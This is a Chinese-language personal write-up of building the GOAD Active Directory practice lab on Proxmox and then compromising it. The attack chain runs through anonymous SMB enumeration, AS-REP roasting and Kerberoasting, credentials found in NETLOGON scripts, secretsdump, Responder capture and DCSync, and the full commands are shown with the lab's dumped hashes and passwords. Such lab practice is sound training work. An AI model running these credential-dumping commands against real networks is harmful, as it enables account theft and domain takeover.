infrastructure
硬體規格如下：
目標從最小的 lab 開始打，看看最後能否讓這台老電腦支撐我打完整的 GOAD
root@pve:~# fastfetch
.://:` `://:. root@pve
`hMMMMMMd/ /dMMMMMMh` --------
`sMMMMMMMd: :mMMMMMMMs` OS: Proxmox VE 9.2.10 x86_64
`-/+oo+/:`.yMMMMMMMh- -hMMMMMMMy.`:/+oo+/-` Host: BM6AE_BM1AE_BP1AE
`:oooooooo/`-hMMMMMMMyyMMMMMMMh-`/oooooooo:` Kernel: Linux 7.0.14-11-pve
`/oooooooo:`:mMMMMMMMMMMMMm:`:oooooooo/` Uptime: 11 mins
./ooooooo+- +NMMMMMMMMN+ -+ooooooo/. Packages: 782 (dpkg)
.+ooooooo+-`oNMMMMNo`-+ooooooo+. Shell: bash 5.2.37
-+ooooooo/.`sMMs`./ooooooo+- Terminal: termproxy
:oooooooo/`..`/oooooooo: CPU: Intel(R) Core(TM) i7-4790 (8) @ 4.00 GHz
:oooooooo/`..`/oooooooo: GPU: Intel Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller @ 1.20 GHz [Integrated]
-+ooooooo/.`sMMs`./ooooooo+- Memory: 3.11 GiB / 31.22 GiB (10%)
.+ooooooo+-`oNMMMMNo`-+ooooooo+. Swap: 792.84 MiB / 8.00 GiB (10%)
./ooooooo+- +NMMMMMMMMN+ -+ooooooo/. Disk (/): 18.67 GiB / 93.93 GiB (20%) - ext4
`/oooooooo:`:mMMMMMMMMMMMMm:`:oooooooo/` Disk (/mnt/hdd): 147.23 GiB / 915.82 GiB (16%) - ext4
`:oooooooo/`-hMMMMMMMyyMMMMMMMh-`/oooooooo:` Local IP (vmbr0): 192.168.8.2/24
`-/+oo+/:`.yMMMMMMMh- -hMMMMMMMy.`:/+oo+/-` Locale: en_US.UTF-8
`sMMMMMMMm: :dMMMMMMMs`
`hMMMMMMd/ /dMMMMMMh`
`://:` `://:` 在 pve 上建立一個 VM ，我選用 kali iso ，VM 裝好後在 Hardware 將 Processors 的 type 改成 host
install virualbox
sudo apt install virtualbox -yinstall vagrant
wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com bookworm main" | sudo tee /etc/apt/sources.list.d/hashicorp.list
sudo apt update && sudo apt install vagrant -yinstall vagrant plugin
vagrant plugin install vagrant-reload vagrant-vbguest winrm winrm-fs winrm-elevatedinstall docker
sudo apt install docker.io -yclone repository
git clone https://github.com/Orange-Cyberdefense/GOAD.gitbuild docker image
cd GOAD
sudo docker build -t goadansible .環境搞好後就能開始建 lab 了
./goad.sh -t install -l GOAD-Mini -p virtualbox -m docker- status
┌──(kali㉿kali)-[~/GOAD]
└─$ ./goad.sh -t status -l MINILAB
_____ _____ _____
/ ____| / ||| \ /\ | __ \
| | __|| ||| | / \ | | | |
| | |_ || ||| |/ /\ \ | | | |
| |__| || ||| / /__\ \| |__| |
\_____| \_|||_/________\_____/
Game Of Active Directory
Pwning is coming
Goad management console type help or ? to list commands
[*] lab instances :
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━┓
┃ Instance ID ┃ Lab ┃ Provider ┃ IP Range ┃ Status ┃ Is Default ┃ Extensions ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━┩
│ 3ae1cf-goad-mini-virtualbox │ GOAD-Mini │ virtualbox │ 192.168.56.0/24 │ installed │ Yes │ │
└─────────────────────────────┴───────────┴────────────┴─────────────────┴───────────┴────────────┴────────────┘
- start
┌──(kali㉿kali)-[~/GOAD]
└─$ ./goad.sh -t start -i 3ae1cf-goad-mini-virtualbox
_____ _____ _____
/ ____| / ||| \ /\ | __ \
| | __|| ||| | / \ | | | |
| | |_ || ||| |/ /\ \ | | | |
| |__| || ||| / /__\ \| |__| |
\_____| \_|||_/________\_____/
Game Of Active Directory
Pwning is coming
Goad management console type help or ? to list commands
[*] lab instances :
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━┓
┃ Instance ID ┃ Lab ┃ Provider ┃ IP Range ┃ Status ┃ Is Default ┃ Extensions ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━┩
│ 3ae1cf-goad-mini-virtualbox │ GOAD-Mini │ virtualbox │ 192.168.56.0/24 │ installed │ Yes │ │
└─────────────────────────────┴───────────┴────────────┴─────────────────┴───────────┴────────────┴────────────┘
[*] Current user is not in docker group, we will use "sudo" before docker commands
[*] CWD: /
[*] Running command : sudo docker images |grep -c "goadansible"
[sudo] password for kali:
1
[+] Docker image exist
[+] Instance 3ae1cf-goad-mini-virtualbox loaded
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━┓
┃ Instance ID ┃ Lab ┃ Provider ┃ IP Range ┃ Status ┃ Is Default ┃ Extensions ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━┩
│ > 3ae1cf-goad-mini-virtualbox │ GOAD-Mini │ virtualbox │ 192.168.56.0/24 │ installed │ Yes │ │
└───────────────────────────────┴───────────┴────────────┴─────────────────┴───────────┴────────────┴────────────┘
[*] CWD: /workspace/3ae1cf-goad-mini-virtualbox/provider
[*] Running command : vagrant up
Bringing machine 'GOAD-Mini-DC01' up with 'virtualbox' provider...
==> GOAD-Mini-DC01: Checking if box 'StefanScherer/windows_2019' version '2021.05.15' is up to date...
==> GOAD-Mini-DC01: Clearing any previously set forwarded ports...
==> GOAD-Mini-DC01: Clearing any previously set network interfaces...
==> GOAD-Mini-DC01: Preparing network interfaces based on configuration...
GOAD-Mini-DC01: Adapter 1: nat
GOAD-Mini-DC01: Adapter 2: hostonly
==> GOAD-Mini-DC01: Forwarding ports...
GOAD-Mini-DC01: 5985 (guest) => 55985 (host) (adapter 1)
GOAD-Mini-DC01: 5986 (guest) => 55986 (host) (adapter 1)
GOAD-Mini-DC01: 22 (guest) => 2222 (host) (adapter 1)
==> GOAD-Mini-DC01: Running 'pre-boot' VM customizations...
==> GOAD-Mini-DC01: Booting VM...
==> GOAD-Mini-DC01: Waiting for machine to boot. This may take a few minutes...
GOAD-Mini-DC01: WinRM address: 127.0.0.1:55985
GOAD-Mini-DC01: WinRM username: vagrant
GOAD-Mini-DC01: WinRM execution_time_limit: PT2H
GOAD-Mini-DC01: WinRM transport: negotiate
==> GOAD-Mini-DC01: Machine booted and ready!
==> GOAD-Mini-DC01: Checking for guest additions in VM...
GOAD-Mini-DC01: The guest additions on this VM do not match the installed version of
GOAD-Mini-DC01: VirtualBox! In most cases this is fine, but in rare cases it can
GOAD-Mini-DC01: prevent things such as shared folders from working properly. If you see
GOAD-Mini-DC01: shared folder errors, please make sure the guest additions within the
GOAD-Mini-DC01: virtual machine match the version of VirtualBox you have installed on
GOAD-Mini-DC01: your host and reload your VM.
GOAD-Mini-DC01:
GOAD-Mini-DC01: Guest Additions Version: 6.1.22
GOAD-Mini-DC01: VirtualBox Version: 7.2
==> GOAD-Mini-DC01: Configuring and enabling network interfaces...
==> GOAD-Mini-DC01: Machine already provisioned. Run `vagrant provision` or use the `--provision`
==> GOAD-Mini-DC01: flag to force provisioning. Provisioners marked to run always will still run再裝 MINILAB 的時候碰到記憶體吃滿在匯入 VirtualBox 時整台死機。
先讓它跑完前置 VM 建起來，後續再用 goad.sh 重新 install
cd /workspace/c4bd04-minilab-virtualbox/provider
vagrant box add --provider virtualbox mayfly/windows10cd ~/GOAD/workspace/c4bd04-minilab-virtualbox/provider
vagrant destroy -f WS01
vagrant up WS01再裝 GOAD-Light 時遇到了這個 issue
fatal: [srv02]: FAILED! => {"changed": true, "msg": "failed to join domain: Computer 'castelblack' failed to join domain 'north.sevenkingdoms.local' from its current workgroup 'WORKGROUP' with following error message: The specified domain either does not exist or could not be contacted.", "reboot_required": false}後來花了很久成功用以下方法解決此問題
PowerShell on DC02
---
nxc winrm 192.168.56.11 -u vagrant -p vagrant -X 'Set-DnsClientServerAddress -InterfaceAlias "Ethernet 2" -ServerAddresses 192.168.56.10'
nxc winrm 192.168.56.11 -u vagrant -p vagrant -X 'Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses 192.168.56.10'
------
Bash on building host
---
c87478-goad-light-virtualbox > provision_lab[started TASK: mssql_ssms : Install SSMS on srv02]GOAD-Light
匿名枚舉這兩個 domain 發現 Description 中提及 samwell.tarly 密碼為 Heartsbane
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ nxc smb 192.168.56.0/24 -u '' -p '' --shares --users-export users
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\:
SMB 192.168.56.11 445 WINTERFELL [-] Error enumerating shares: STATUS_ACCESS_DENIED
SMB 192.168.56.22 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB 192.168.56.10 445 KINGSLANDING [+] sevenkingdoms.local\:
SMB 192.168.56.10 445 KINGSLANDING [-] Error enumerating shares: STATUS_ACCESS_DENIED
SMB 192.168.56.22 445 CASTELBLACK [-] north.sevenkingdoms.local\: STATUS_ACCESS_DENIED
SMB 192.168.56.22 445 CASTELBLACK [-] Error enumerating shares: Error occurs while reading from remote(104)
SMB 192.168.56.11 445 WINTERFELL -Username- -Last PW Set- -BadPW- -Description-
SMB 192.168.56.11 445 WINTERFELL Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 192.168.56.11 445 WINTERFELL arya.stark 2026-09-02 02:12:45 0 Arya Stark
SMB 192.168.56.11 445 WINTERFELL sansa.stark 2026-09-02 02:13:18 0 Sansa Stark
SMB 192.168.56.11 445 WINTERFELL brandon.stark 2026-09-02 02:13:25 0 Brandon Stark
SMB 192.168.56.11 445 WINTERFELL rickon.stark 2026-09-02 02:13:33 0 Rickon Stark
SMB 192.168.56.11 445 WINTERFELL hodor 2026-09-02 02:13:42 0 Brainless Giant
SMB 192.168.56.11 445 WINTERFELL jon.snow 2026-09-02 02:13:50 0 Jon Snow
SMB 192.168.56.11 445 WINTERFELL samwell.tarly 2026-09-02 02:13:58 0 Samwell Tarly (Password : Heartsbane)
SMB 192.168.56.11 445 WINTERFELL jeor.mormont 2026-09-02 02:14:06 0 Jeor Mormont
SMB 192.168.56.11 445 WINTERFELL sql_svc 2026-09-02 02:14:14 0 sql service
SMB 192.168.56.11 445 WINTERFELL [*] Enumerated 10 local users: NORTH
SMB 192.168.56.11 445 WINTERFELL [*] Writing 10 local users to users
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00先做 AS-REP Roasting & Kerberoasting，破解得到 brandon.stark/iseedeadpeople , jon.snow/iknownothing 兩組帳密
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ impacket-GetNPUsers -request -dc-ip '192.168.56.11' 'north.sevenkingdoms.local'/'samwell.tarly':'Heartsbane'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Name MemberOf PasswordLastSet LastLogon UAC
------------- ---------------------------------------------------- -------------------------- --------- --------
brandon.stark CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2026-09-01 22:13:25.985760 <never> 0x410200
[email protected]:beff5bdacbc48a0f009f2dee1ac43f5e$213ad42f9f581b19d7eab63ebcef30a5d7597c2f2326fb73ac256fa7ec54111fa118709e26b3ff45f316312d1df768459a3a3bfe40bde4101d1e9920c0b2d0a822b35b89994a2f60de2f4dec8cfb938d875c301c4641efefb0ef4d49bd3ee33ec72fa6af46291802dcd9cb3d25011f0a43df386e76f7c274b9177d7ab25d8e414e98b5b9047eb86b09976990594d7fdfe9527e4cf7b7d46fbe56767245fc54f69f810805d92d2f11a205d678927f0749937d7e57dec626f88eec4054b2d4af679e21d38971ce5ee80e8ce0fe46ccfe44d1082c39fbd27b2653d4263bb1350172eabf9d3f5c9c60860669c96dd23398cba9f05cffff9142a907ba47402c866657c36a9d88c0bf
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ impacket-GetUserSPNs -request -dc-ip '192.168.56.11' 'north.sevenkingdoms.local'/'samwell.tarly' -hashes '00:f5db9e027ef824d029262068ac826843' -outputfile hashes.kerberoast
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------------------------------- ----------- ---------------------------------------------------------- -------------------------- -------------------------- -----------
HTTP/eyrie.north.sevenkingdoms.local sansa.stark CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2026-09-01 22:13:18.318219 <never>
CIFS/winterfell.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2026-09-01 22:13:50.426582 <never> constrained
HTTP/thewall.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2026-09-01 22:13:50.426582 <never> constrained
MSSQLSvc/castelblack.north.sevenkingdoms.local sql_svc 2026-09-01 22:14:14.361230 2026-09-02 07:05:58.475156
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 sql_svc 用 nxc 枚舉 SMB file
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ nxc smb 192.168.56.11 -u 'jon.snow' -p 'iknownothing' -M spider_plus
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\jon.snow:iknownothing
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] Started module spidering_plus with the following options:
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] DOWNLOAD_FLAG: False
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] STATS_FLAG: True
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] OUTPUT_FOLDER: /home/kali/.nxc/modules/nxc_spider_plus
SMB 192.168.56.11 445 WINTERFELL [*] Enumerated shares
SMB 192.168.56.11 445 WINTERFELL Share Permissions Remark
SMB 192.168.56.11 445 WINTERFELL ----- ----------- ------
SMB 192.168.56.11 445 WINTERFELL ADMIN$ Remote Admin
SMB 192.168.56.11 445 WINTERFELL C$ Default share
SMB 192.168.56.11 445 WINTERFELL IPC$ READ Remote IPC
SMB 192.168.56.11 445 WINTERFELL NETLOGON READ Logon server share
SMB 192.168.56.11 445 WINTERFELL SYSVOL READ Logon server share
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [+] Saved share-file metadata to "/home/kali/.nxc/modules/nxc_spider_plus/192.168.56.11.json".
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] SMB Shares: 5 (ADMIN$, C$, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] SMB Readable Shares: 3 (IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] SMB Filtered Shares: 1
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] Total folders found: 19
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] Total files found: 12
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] File size average: 630.5 B
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] File size min: 22 B
SPIDER_PLUS 192.168.56.11 445 WINTERFELL [*] File size max: 3.68 KB
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ cat /home/kali/.nxc/modules/nxc_spider_plus/192.168.56.11.json
{
"NETLOGON": {
"script.ps1": {
"atime_epoch": "2026-09-02 06:42:43",
"ctime_epoch": "2026-09-02 06:42:43",
"mtime_epoch": "2026-09-02 06:42:40",
"size": "165 B"
},
"secret.ps1": {
"atime_epoch": "2026-09-02 06:42:55",
"ctime_epoch": "2026-09-02 06:42:55",
"mtime_epoch": "2026-09-02 06:42:52",
"size": "869 B"
}
},
~省略~訪問 WINTERFELL SMB 得到帳密 jeor.mormont/_L0ngCl@w_
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ impacket-smbclient 'north.sevenkingdoms.local'/'jon.snow':'iknownothing'@'192.168.56.11'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use netlogon
# cat script.ps1
# fake script in netlogon with creds
$task = '/c TODO'
$taskName = "fake task"
$user = "NORTH\jeor.mormont"
$password = "_L0ngCl@w_"
# passwords in sysvol still ...
# cat secret.ps1
# cypher script
# $domain="sevenkingdoms.local"
# $EncryptionKeyBytes = New-Object Byte[] 32
# [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($EncryptionKeyBytes)
# $EncryptionKeyBytes | Out-File "encryption.key"
# $EncryptionKeyData = Get-Content "encryption.key"
# Read-Host -AsSecureString | ConvertFrom-SecureString -Key $EncryptionKeyData | Out-File -FilePath "secret.encrypted"
# secret stored :
$keyData = 177, 252, 228, 64, 28, 91, 12, 201, 20, 91, 21, 139, 255, 65, 9, 247, 41, 55, 164, 28, 75, 132, 143, 71, 62, 191, 211, 61, 154, 61, 216, 91
$secret="76492d1116743f0423413b16050a5345MgB8AGkAcwBDACsAUwArADIAcABRAEcARABnAGYAMwA3AEEAcgBFAEIAYQB2AEEAPQA9AHwAZQAwADgANAA2ADQAMABiADYANAAwADYANgA1ADcANgAxAGIAMQBhAGQANQBlAGYAYQBiADQAYQA2ADkAZgBlAGQAMQAzADAANQAyADUAMgAyADYANAA3ADAAZABiAGEAOAA0AGUAOQBkAGMAZABmAGEANAAyADkAZgAyADIAMwA="
# T.L.
#使用以下方式得到 Parent domain 的其中一個密碼
PS C:\Users\cheng> $keyData = 177, 252, 228, 64, 28, 91, 12, 201, 20, 91, 21, 139, 255, 65, 9, 247, 41, 55, 164, 28, 75, 132, 143, 71, 62, 191, 211, 61, 154, 61, 216, 91
PS C:\Users\cheng> $secret="76492d1116743f0423413b16050a5345MgB8AGkAcwBDACsAUwArADIAcABRAEcARABnAGYAMwA3AEEAcgBFAEIAYQB2AEEAPQA9AHwAZQAwADgANAA2ADQAMABiADYANAAwADYANgA1ADcANgAxAGIAMQBhAGQANQBlAGYAYQBiADQAYQA2ADkAZgBlAGQAMQAzADAANQAyADUAMgAyADYANAA3ADAAZABiAGEAOAA0AGUAOQBkAGMAZABmAGEANAAyADkAZgAyADIAMwA="
PS C:\Users\cheng> $secure = $secret | ConvertTo-SecureString -Key $keyData
PS C:\Users\cheng>
PS C:\Users\cheng> [System.Net.NetworkCredential]::new("", $secure).Password
powerkingftw135
PS C:\Users\cheng>jeor.mormont 對 CASTELBLACK dump credential，得到 sql_svc/YouWillNotKerboroast1ngMeeeeee
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ nxc smb 192.168.56.11 192.168.56.22 -u 'jeor.mormont' -p '_L0ngCl@w_'
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.22 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\jeor.mormont:_L0ngCl@w_
SMB 192.168.56.22 445 CASTELBLACK [+] north.sevenkingdoms.local\jeor.mormont:_L0ngCl@w_ (Pwn3d!)
Running nxc against 2 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ impacket-secretsdump 'north.sevenkingdoms.local'/'jeor.mormont':'_L0ngCl@w_'@'192.168.56.22'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x8c1e486a19f8705f22ed89d989788707
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4363b6dc0c95588964884d7e1dfea1f7:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2026-09-03 04:26:59+00:00)
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2026-09-03 04:29:49+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:de2954b1bcaec5897c1f1c28f1d9c6dcac41846a7ded0a5ccda5b609f87c6b47
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:8851efd4014b5d6d0aad2f21deba4265
NORTH\CASTELBLACK$:des-cbc-md5:b01cb0ef5e4ff452
NORTH\CASTELBLACK$:plain_password_hex:70002e002300510041003a00460049006c0028003200440057005a0037004e00540044005d0059004d0050006b003100770037002d006a0036002a007500660067003300320079007100490078006000630070005b002c005300760059002800520029005d0061006200380068006e0039004a005a006b0053004f005700260033002e00250060006a004d006e0073003d00420065005e0037005d004a00570055005a0044006d003b0021004f0062006c0066005c002e00410076002c007900300028004f0057004e005a004a002400210069002700550029002d003d0053007200350028004300640053005e002500
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:0134067200b96169a589fecb0e824c54:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x98ff30fc4c0179e589c3019c502e8ad0546be0f7
dpapi_userkey:0x2d746879c1f8ad66aa265a039cba7e39b36f5e81
[*] NL$KM
0000 22 34 01 76 01 70 30 93 88 A7 6B B2 87 43 59 69 "4.v.p0...k..CYi
0010 0E 41 BD 22 0A 0C CC 23 3A 5B B6 74 CB 90 D6 35 .A."...#:[.t...5
0020 14 CA D8 45 4A F0 DB 72 D5 CF 3B A1 ED 7F 3A 98 ...EJ..r..;...:.
0030 CD 4D D6 36 6A 35 24 2D A0 EB 0F 8E 3F 52 81 C9 .M.6j5$-....?R..
NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9
[*] _SC_MSSQL$SQLEXPRESS
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...
[*] Stopping service RemoteRegistry用 responder 捕捉到 robb.stark，破解 hash 得到密碼 sexywolfy
發現 robb.stark access SMB 可以 pwn ， 對 north.sevenkingdoms.local DCsync
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ nxc smb '192.168.56.11' -u 'robb.stark' -p 'sexywolfy'
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\robb.stark:sexywolfy (Pwn3d!)
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ impacket-secretsdump 'north.sevenkingdoms.local'/'robb.stark':'sexywolfy'@'192.168.56.11'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x1f175ad7b56af8c72d76009ec831c31d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\WINTERFELL$:aes256-cts-hmac-sha1-96:896be2d22999687782c07a2ea1690b0d74143b70b4ca3c2ef975da36f70d6772
NORTH\WINTERFELL$:aes128-cts-hmac-sha1-96:e6e636c08fcf2be017a1e6d5cec5c1f7
NORTH\WINTERFELL$:des-cbc-md5:759b4604f4373b7f
NORTH\WINTERFELL$:plain_password_hex:2369a8d773402b5a1005999a069e1e16a20b6e3ca190d59296ff7ead63983aaf2cd8182b46247125a80ceefcd336a49e0e04ad500cad901b0ecf4f289105118fe74ad0a6a537d30aa47c2cb59293ca858c168375cdb70f4453e2c9f955ea66fbefaa8dacc34ca97101222cd2efe30020b7e71a77f58cd8875a4c77b7cd725ea1b26af00e37018320b2a4ac880d778baf33370cf2531392edd88ca1f39c934ce78ab5f7153dfff83d704c383ffc31992f2cb3d961cd2064cc2120108e72501f8f20750918673f9d7bff042bc3f600ee878db997b9a9578e62956874bcee7c50e2e6acef8c00b9d7f135bdf3906cbf2ad6
NORTH\WINTERFELL$:aad3b435b51404eeaad3b435b51404ee:22cc0ec994bda88a51feb4ac973a8b74:::
[*] DefaultPassword
NORTH\robb.stark:sexywolfy
[*] DPAPI_SYSTEM
dpapi_machinekey:0x21f5564044a914d9b54222fcc6ec129cd3da04f6
dpapi_userkey:0x622c81c51145069ec94eb849661b37c2c32d51b8
[*] NL$KM
0000 22 34 01 76 01 70 30 93 88 A7 6B B2 87 43 59 69 "4.v.p0...k..CYi
0010 0E 41 BD 22 0A 0C CC 23 3A 5B B6 74 CB 90 D6 35 .A."...#:[.t...5
0020 14 CA D8 45 4A F0 DB 72 D5 CF 3B A1 ED 7F 3A 98 ...EJ..r..;...:.
0030 CD 4D D6 36 6A 35 24 2D A0 EB 0F 8E 3F 52 81 C9 .M.6j5$-....?R..
NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:05b0076a5f794c79aa50d25b87b7032a:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
arya.stark:1110:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709:::
eddard.stark:1111:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::
catelyn.stark:1112:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949c73bc73715364aff5:::
robb.stark:1113:aad3b435b51404eeaad3b435b51404ee:831486ac7f26860c9e2f51ac91e1a07a:::
sansa.stark:1114:aad3b435b51404eeaad3b435b51404ee:b777555c2e2e3716e075cc255b26c14d:::
brandon.stark:1115:aad3b435b51404eeaad3b435b51404ee:84bbaa1c58b7f69d2192560a3f932129:::
rickon.stark:1116:aad3b435b51404eeaad3b435b51404ee:7978dc8a66d8e480d9a86041f8409560:::
hodor:1117:aad3b435b51404eeaad3b435b51404ee:337d2667505c203904bd899c6c95525e:::
jon.snow:1118:aad3b435b51404eeaad3b435b51404ee:b8d76e56e9dac90539aff05e3ccb1755:::
